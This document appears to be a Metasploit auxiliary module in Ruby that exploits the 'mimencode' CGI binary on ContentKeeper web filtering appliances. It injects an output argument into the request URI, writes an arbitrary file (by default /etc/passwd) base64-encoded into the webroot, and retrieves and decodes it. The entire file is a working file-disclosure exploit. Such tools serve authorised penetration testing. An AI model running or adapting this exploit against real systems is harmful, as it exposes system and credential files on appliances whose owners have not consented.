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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Scanner
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  def initialize
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    super(
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      'Name' => 'ContentKeeper Web Appliance mimencode File Access',
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      'Description' => %q{
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        This module abuses the 'mimencode' binary present within
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        ContentKeeper Web filtering appliances to retrieve arbitrary
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        files outside of the webroot.
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        },
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      'References' => [
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        [ 'OSVDB', '54551' ],
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        [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
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      ],
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      'Author' => [ 'aushack' ],
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      'License' => MSF_LICENSE,
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      'Notes' => {
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        'Stability' => [CRASH_SAFE],
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        'SideEffects' => [IOC_IN_LOGS],
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        'Reliability' => []
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      }
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    )
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    register_options(
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      [
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        OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
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        OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
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      ]
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    )
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  end
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  def run_host(_ip)
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    tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.
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    print_status("Attempting to connect to #{rhost}:#{rport}")
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    res = send_request_raw(
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      {
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        'method' => 'POST',
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        'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']
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      }, 25
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    )
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    if res && res.code == 500
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      print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
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      file = send_request_raw(
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        {
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          'method' => 'GET',
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          'uri' => '/' + tmpfile
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        }, 25
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      )
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      if file && (file.code == 200)
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        print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
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      elsif file && file.code
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        print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
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      end
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    elsif res && res.code
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      print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
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    end
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  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
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    vprint_error(e.message)
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  rescue ::Timeout::Error, ::Errno::EPIPE => e
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    vprint_error(e.message)
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  end
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end
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